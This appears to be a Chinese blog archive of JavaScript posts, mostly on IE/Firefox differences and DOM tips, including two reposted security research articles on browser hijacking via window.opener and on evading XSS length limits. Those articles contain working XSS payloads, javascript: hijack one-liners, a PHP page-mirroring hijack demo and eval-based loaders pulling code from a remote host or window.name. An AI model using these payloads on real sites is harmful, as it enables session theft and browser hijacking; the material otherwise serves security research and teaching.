显示标签为“JavaScript”的博文。显示所有博文
显示标签为“JavaScript”的博文。显示所有博文

2009年6月25日星期四

7 JavaScript Differences Between Firefox & IE

Although the days of long and tedious code branches to target specific browsers in JavaScript are over, once in a while it’s still necessary to do some simple code branching and object detection to ensure that a certain piece of code is working properly on a user’s machine.

In this article, I’ll outine 7 areas where Internet Explorer and Firefox differ in JavaScript syntax.

1. The CSS “float” property

The basic syntax for accessing a specific css property for any given object is object.style.property, using camel casing to replace a hyphenated property. For example, to access the background-color property of a
whose ID is “header”, we would use the following syntax:
  1. document.getElementById("header").style.backgroundColor= "#ccc";
But since the word “float” is already reserved for use in JavaScript, we cannot access the “float” property using object.style.float. Here is how we do it in the two browsers:

The IE Syntax:

  1. document.getElementById("header").style.styleFloat = "left";

The Firefox Syntax:

  1. document.getElementById("header").style.cssFloat = "left";

2. The Computed Style of an Element

JavaScript can easily access and modify CSS styles that have been set on objects using the object.style.property syntax outlined above. But the limitation of that syntax is that it can only retrieve styles that have been set inline in the HTML or styles that have been set directly by JavaScript. The style object does not access styles set using an external stylesheet. In order to access an object’s “computed style”, we use the following code:

The IE Syntax:

  1. var myObject = document.getElementById("header");
  2. var myStyle = myObject.currentStyle.backgroundColor;

The Firefox Syntax:

  1. var myObject = document.getElementById("header");
  2. var myComputedStyle = document.defaultView.getComputedStyle(myObject, null);
  3. var myStyle = myComputedStyle.backgroundColor;

3. Accessing the “class” Attribute of an Element

As is the case with the “float” property, our two major browsers use different syntax to access this attribute in JavaScript.

The IE Syntax:

  1. var myObject = document.getElementById("header");
  2. var myAttribute = myObject.getAttribute("className");

The Firefox Syntax:

  1. var myObject = document.getElementById("header");
  2. var myAttribute = myObject.getAttribute("class");
This syntax would also apply using the setAttribute method.

4. Accessing the “for” Attribute of the

Similar to number 3, we have different syntax to access a

The IE Syntax:

  1. var myObject = document.getElementById("myLabel");
  2. var myAttribute = myObject.getAttribute("htmlFor");

The Firefox Syntax:

  1. var myObject = document.getElementById("myLabel");
  2. var myAttribute = myObject.getAttribute("for");

5. Getting the Cursor Position

It would be rare that you would want to find the cursor position of an element, but if for some reason you need to, the syntax is different in IE and Firefox. The code samples here are fairly basic, and normally would be part of a much more complex event handler, but they serve to illustrate the difference. Also, it should be noted that the result in IE will be different than that of Firefox, so this method is buggy. Usually, the difference can be compensated for by getting the “scrolling position” — but that’s a subject for another post!

The IE Syntax:

  1. var myCursorPosition = [0, 0];
  2. myCursorPosition[0] = event.clientX;
  3. myCursorPosition[1] = event.clientY;

The Firefox Syntax:

  1. var myCursorPosition = [0, 0];
  2. myCursorPosition[0] = event.pageX;
  3. myCursorPosition[1] = event.pageY;

6. Getting the Size of the Viewport, or Browser Window

Sometimes it’s necessary to find out the size of the browser’s available window space, usually called the “viewport”.

The IE Syntax:

  1. var myBrowserSize = [0, 0];
  2. myBrowserSize[0] = document.documentElement.clientWidth;
  3. myBrowserSize[1] = document.documentElement.clientHeight;

The Firefox Syntax:

  1. var myBrowserSize = [0, 0];
  2. myBrowserSize[0] = window.innerWidth;
  3. myBrowserSize[1] = window.innerHeight;

7. Alpha Transparency

Okay, this is not a JavaScript syntax issue — alpha transparency is set via CSS. But when objects fade in and out via JavaScript, this is done by accessing CSS alpha settings, usually inside of a loop. The CSS code that needs to be altered via JavaScript is as follows:

The IE Syntax:

  1. #myElement {
  2. filter: alpha(opacity=50);
  3. }

The Firefox Syntax:

  1. #myElement {
  2. opacity: 0.5;
  3. }
So, to access those values via JavaScript, we would use the style object:

The IE Syntax:

  1. var myObject = document.getElementById("myElement");
  2. myObject.style.filter = "alpha(opacity=80)";

The Firefox Syntax:

  1. var myObject = document.getElementById("myElement");
  2. myObject.style.opacity = "0.5";

Of course, as mentioned, normally the opacity/alpha would be changed in the midst of a loop, to create the animating effect, but this simple example clearly illustrates how it’s done.

2009年5月6日星期三

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

转载自:http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x05.txt
[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考


一、前言

最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。


二、同源策略简叙

同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。


三、理解window对象的同源策略

窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:

--code-------------------------------------------------------------------------
<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
这些属性和方法就必须遵循同源策略。

举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
--demo.html--------------------------------------------------------------------
<script language="javascript">
function allPrpos(obj) {
var props = "<table><tr><td>名称</td><td>值</td>";
for(var p in obj){
if(typeof(obj[p])=="function"){
obj[p]();
}else{
try
{
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
}
catch (ex)
{
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
}
}
}

document.write(props+"</table>");
}

function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){allPrpos(newWin)},2000);
}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------


四、窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
行测试,会发现父窗口可以控制非同源子窗口location属性值。

--vul1.html--------------------------------------------------------------------
<script language="javascript">
function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。

--code-------------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);

-------------------------------------------------------------------------------


五、利用窗口引用漏洞劫持浏览器

经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
会产生什么可怕的后果。

下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
以做更多的事情,所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
</script>
-------------------------------------------------------------------------------
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。


六、利用XSS漏洞劫持浏览器

延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
讨论跨站师的终极技巧:


6.1 正向跨窗口劫持

大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
框脚本。

--hijack_open.js---------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------


6.2 反向跨窗口劫持

同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
框脚本。

--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

-------------------------------------------------------------------------------


6.3 极度危险的跨框架窗口引用劫持

非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS,如下:

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
注入脚本。

--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
-------------------------------------------------------------------------------
6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
异常处理规避之间跨域页面的访问异常,代码如下:

--code-------------------------------------------------------------------------

javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------

假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面,从而实现“隔空打击”。

同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。

结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。


6.5 完全控制浏览器

一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
师的终极目标 - 完全控制浏览器。


七、后记

文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

突破XSS字符数量限制执行任意JS代码

转载自:http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x04.txt
[目录]

1. 综述
2. 突破方法
2.1 利用HTML上下文中其他可以控制的数据
2.2 利用URL中的数据
2.3 JS上下文的利用
2.4 利用浏览器特性在跨域的页面之间传递数据
2.4.1 document.referrer
2.4.2 剪切板clipboardData
2.4.3 窗口名window.name
2.5 以上的方式结合使用
3. 后记
4. 参考

一、综述

有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主
要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全
人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些
极端情况下的XSS漏洞。

突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数
据。

二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限
制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:

--code-------------------------------------------------------------------------
<div id="x">可控的安全的数据</div>
<limited_xss_point>alert(/xss/);</limited_xss_point>
-------------------------------------------------------------------------------
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
--code-------------------------------------------------------------------------
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
-------------------------------------------------------------------------------
长度:28 + len(id)

由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。


2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到
最后:
--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:30

--code-------------------------------------------------------------------------
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:31

上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册
的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个
字符:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:29

--code-------------------------------------------------------------------------
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:30
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:

--code-------------------------------------------------------------------------
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
-------------------------------------------------------------------------------

长度:29

这样比上面的例子又少了一个字符。那么还可以更短么?

2.3 JS上下文的利用

为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:

String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...

就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的
简化函数,最经典的例子就是:

--code-------------------------------------------------------------------------
function $(id) {
return document.getElementById(id);
}
-------------------------------------------------------------------------------

这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是
最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:

--code-------------------------------------------------------------------------
function loads(url) {
...
document.body.appendChild(script);
}

<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
-------------------------------------------------------------------------------

长度:len(函数名) + len(url) + 5

当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
--code-------------------------------------------------------------------------
function get(url) {
...
return x.responseText;
}

<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
-------------------------------------------------------------------------------

长度:len(函数名) + len(url) + 11

道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:

JQuery
YUI
...

综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我
们的代码,进而突破长度限制执行任意代码。
2.4 利用浏览器特性在跨域的页面之间传递数据

虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了
Payload,被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面:

--code-------------------------------------------------------------------------
http://www.a.com/attack.html?...&alert(document.cookie)

<a href="http://www.xssedsite.com/xssed.php">go</a>
-------------------------------------------------------------------------------
被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
-------------------------------------------------------------------------------

长度:34

这种方式利用上还有一些问题,如果使用location.href或者<meta equiv="refresh">
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:
--code-------------------------------------------------------------------------
<script type="text/javascript">
<!--
window.onload = function(){
var f = document.createElement("form");
f.setAttribute("method", "get");
f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
document.body.appendChild(f);
f.submit();
};
//-->
</script>
-------------------------------------------------------------------------------
2.4.2 剪切板clipboardData

攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获
取并执行该数据。

攻击者构造的页面:

--code-------------------------------------------------------------------------
<script>
clipboardData.setData("text", "alert(document.cookie)");
</script>
-------------------------------------------------------------------------------

被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
-------------------------------------------------------------------------------

长度:36

这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。

2.4.3 窗口名window.name

这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
据的,但是这个特性本身并不是漏洞。

如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置
窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当
我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只
需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格
的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS
或者VBS。

但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:

攻击者构造的页面:

--code-------------------------------------------------------------------------
<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>
-------------------------------------------------------------------------------

被XSS的页面:

--code-------------------------------------------------------------------------
<limited_xss_point>eval(name);</limited_xss_point>
-------------------------------------------------------------------------------

长度:11

这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思
的技巧,这个技巧的发现也是促成本文的直接原因。

window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文
章来探讨。


2.5 以上的方式结合使用

以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况
中,灵活的组合上面的方法可能会起到奇效。


三、后记

JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎
和我交流!

感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!

本文是纯粹的技术探讨,请勿用于非法用途!


四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

2009年2月26日星期四

Parsing URLs with the DOM

This short function returns an object containing all possible information you would want to retrieve from a URL:

parseURL

// This function creates a new anchor element and uses location
// properties (inherent) to get the desired URL data. Some String
// operations are used (to normalize results across browsers).

function parseURL(url) {
var a = document.createElement('a');
a.href = url;
return {
source: url,
protocol: a.protocol.replace(':',''),
host: a.hostname,
port: a.port,
query: a.search,
params: (function(){
var ret = {},
seg = a.search.replace(/^\?/,'').split('&'),
len = seg.length, i = 0, s;
for (;i<len;i++) {
if (!seg[i]) { continue; }
s = seg[i].split('=');
ret[s[0]] = s[1];
}
return ret;
})(),
file: (a.pathname.match(/\/([^\/?#]+)$/i) || [,''])[1],
hash: a.hash.replace('#',''),
path: a.pathname.replace(/^([^\/])/,'/$1'),
relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [,''])[1],
segments: a.pathname.replace(/^\//,'').split('/')
};
}

Usage

var myURL = parseURL('http://abc.com:8080/dir/index.html?id=255&m=hello#top');

myURL.file; // = 'index.html'
myURL.hash; // = 'top'
myURL.host; // = 'abc.com'
myURL.query; // = '?id=255&m=hello'
myURL.params; // = Object = { id: 255, m: hello }
myURL.path; // = '/dir/index.html'
myURL.segments; // = Array = ['dir', 'index.html']
myURL.port; // = '8080'
myURL.protocol; // = 'http'
myURL.source; // = 'http://abc.com:8080/dir/index.html?id=255&m=hello#top'

2009年2月21日星期六

如何判断脚本加载完成

在“按需加载”的需求中,我们经常会判断当脚本加载完成时,返回一个回调函数,那如何去判断脚本的加载完成呢?

我们可以对加载的 JS 对象使用 onload 来判断(js.onload),此方法 Firefox2、Firefox3、Safari3.1+、Opera9.6+ 浏览器都能很好的支持,但 IE6、IE7 却不支持。曲线救国 —— IE6、IE7 我们可以使用 js.onreadystatechange 来跟踪每个状态变化的情况(一般为 loading 、loaded、interactive、complete),当返回状态为 loaded 或 complete 时,则表示加载完成,返回回调函数。

对于 readyState 状态需要一个补充说明:

  1. 在 interactive 状态下,用户可以参与互动。
  2. Opera 其实也支持 js.onreadystatechange,但他的状态和 IE 的有很大差别。

具体实现代码如下:

function include_js(file) {
var _doc = document.getElementsByTagName('head')[0];
var js = document.createElement('script');
js
.setAttribute('type', 'text/javascript');
js
.setAttribute('src', file);
_doc
.appendChild(js);

if (!/*@cc_on!@*/0) { //if not IE
//Firefox2、Firefox3、Safari3.1+、Opera9.6+ support js.onload
js
.onload = function () {
alert
('Firefox2、Firefox3、Safari3.1+、Opera9.6+ support js.onload');
}
} else {
//IE6、IE7 support js.onreadystatechange
js
.onreadystatechange = function () {
if (js.readyState == 'loaded' || js.readyState == 'complete') {
alert
('IE6、IE7 support js.onreadystatechange');
}
}
}

return false;
}

//execution function
include_js
('http://www.planabc.net/wp-includes/js/jquery/jquery.js');

2009年2月19日星期四

请勿使用保留字来命名网页元素

转载自 Opera中国

最近,我处理了一个网友报上来的问题,问题提到“Opera 不支持通过 JavaScript 来提交表单”。这个 Bug 很诡意,在接下来的时间里,我动手编写了一段简单的 HTML,代码如下:

<form id="form1" action="" method="get">
<input name="parameter1" type="text">
</form>

<input onclick="document.getElementById('form1').submit()"
value="My Submit" type="button">

很显然,点击 My Submit 按钮是可以提交的。但是,通过参考了网上某个论坛系统的 HTML 代码,我发现了一个问题。如下的代码,只是在原有基础上添加了一个表单的提交按钮。

<form id="form1" action="" method="get">
<input type="text" name="parameter1"/>
<input type="submit" name="submit"/>
</form>

<input onclick="document.getElementById('form1').submit()"
value="My Submit" type="button">

但是,所添加的这行 HTML 代码,将造成已有 My Submit 按钮功能的失效。细心的朋友,也许已经发现了,这个新添加的提交按钮,其 name 也为 submit,这就是造成问题的原因所在。

对于表单中的某个元素,我们可以通过 DOM 方式逐级引用。假设,我想引用上面的 submit 提交按钮,我应该书写成:

document.getElementById('form1').submit
那假如,我想通过 JavaScript 使用 form1 完成提交表单的动作呢,我应该书写成:
document.getElementById('form1').submit()

这就怪了,提交表单的代码竟然与引用 submit 按钮的代码如此相似,以至于浏览器认为 submit 为 form1 的某个元素,而不是可以完成提交动作的方法。其实,是网站代码的编写者不小心造成了这种未期待的后果,且这一现象在其他浏览器中同样存在。

建议

由此,我们可以看到简单地对表单元素使用保留字命名,是多么不严谨的一件事情。Web 标准化不光是简单地使用 CSS 和 HTML,更多的非标准化问题是由于不正确使用几种简单技术产生的。因此,为了让技术更容易地为我们所有,就让我们更严谨地对待技术吧。


2009年2月3日星期二

JavaScript “Associative Arrays” Considered Harmful

The Problem

Try the following code on an empty page, one without any JavaScript libraries added:

var associative_array = new Array();
associative_array["one"] = "Lorem";
associative_array["two"] = "Ipsum";
associative_array["three"] = "dolor";
for (i in associative_array) { alert(i) };

You’ll get three sequential alert boxes: “one”; “two”; “three.” This code has a predictable output and looks logically sound: you’re declaring a new array, giving it three string keys, then iterating over them.

Now do this: replace “Array” with “RegExp” and run the code again. As if by magic, this also works! It’s not the only one. Try Boolean, or Date, or String, and you’ll find they all work as well. It works because all you’re doing is setting properties on an object (in JS, foo["bar"] is the same as foo.bar), and a for..in loop simply iterates over an object’s properties. All data types in JS are objects (or have object representations), so all of them can have arbitrary properties set.

In JavaScript, one really ought to use Object for a set of key/value pairs. But because Array works as demonstrated above, JavaScript arrays (which are meant to be numeric) are often used to hold key/value pairs. This is bad practice. Object should be used instead.

I’m not trying to ridicule or scold. This misconception is too common to attribute it to stupidity, and there are many legitimate reasons for the confusion. But this is something that needs to be cleared up if JavaScript is ever to be used on a grand scale.

If you need further evidence that Array is not meant to be used this way, consider:

  • There is no way to specify string keys in an array constructor.
  • There is no way to specify string keys in an array literal.
  • Array.length does not count them as items. In the above example, associative_array.length will return 0.
  • The page on Arrays in the Mozilla JavaScript reference makes no mention of this usage. (Nor does the ECMAScript specification, by the way, but you’ll have to do your own legwork to verify that, because I’m not linking to page 88 of a kajillion-page PDF.)

2008年10月17日星期五

IE与FireFox的js和css(杂记)

png透明 AlphaImageLoader
filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=bEnabled,sizingMethod=sSize,src=sURL)

enabled:可选项。布尔值(Boolean)。设置或检索滤镜是否激活。true:默认值。滤镜激活。false:滤镜被禁止。
sizingMethod:可选项。字符串(String)。设置或检索滤镜作用的对象的图片在对象容器边界内的显示方式。crop:剪切图片以适应对象尺寸。image:默认值。增大或减小对象的尺寸边界以适应图片的尺寸。scale:缩放图片以适应对象的尺寸边界。
src:必选项。字符串(String)。使用绝对或相对 url 地址指定背景图像。假如忽略此参数,滤镜将不会作用。

禁止选取网页内容
在IE中一般用js:obj.onselectstart=function(){return false;}
而firefox用CSS:-moz-user-select:none

滤镜的支持(例:透明滤镜)
IE:filter:alpha(opacity=10);
firefox:-moz-opacity:.10;

捕获事件
IE:obj.setCapture() 、obj.releaseCapture()
Firefox:document.addEventListener(”mousemove”,mousemovefunction,true);
document.removeEventListener(”mousemove”,mousemovefunction,true);

获取鼠标位置
IE:event.clientX、event.clientY
firefox:需要事件函数传递事件对象
obj.onmousemove=function(ev){
X= ev.pageX;Y=ev.pageY;
}

DIV等元素的边界问题
比如:设置一个div的CSS::{width:100px;height:100px;border:#000000 1px solid;}
IE中:div的宽度(包括边框宽度):100px,div的高度(包括边框宽度):100px;
而firefox:div的宽度(包括边框宽度):102px,div的高度(包括边框宽度):102px;

判断浏览器类型
var isIE=document.all ? true : false;
我写了一个变量,如果支持document.all语法那么isIE=true,否则isIE=false

在不同浏览器下的CSS处理
一般可以用!important来优先使用css语句(仅firefox支持)
比如:{border-width:0px!important;border-width:1px;}
在firefox下这个元素是没有边框的,在IE下边框宽度是1px

document.formName.item(”itemName”) 问题
问题说明:IE下,可以使用 document.formName.item(”itemName”) 或 document.formName.elements ["elementName"];Firefox下,只能使用document.formName.elements["elementName"]。
解决方法:统一使用document.formName.elements["elementName"]。

集合类对象问题
问题说明:IE下,可以使用()或[]获取集合类对象;Firefox下,只能使用[]获取集合类对象。
解决方法:统一使用 [] 获取集合类对象。

自定义属性问题
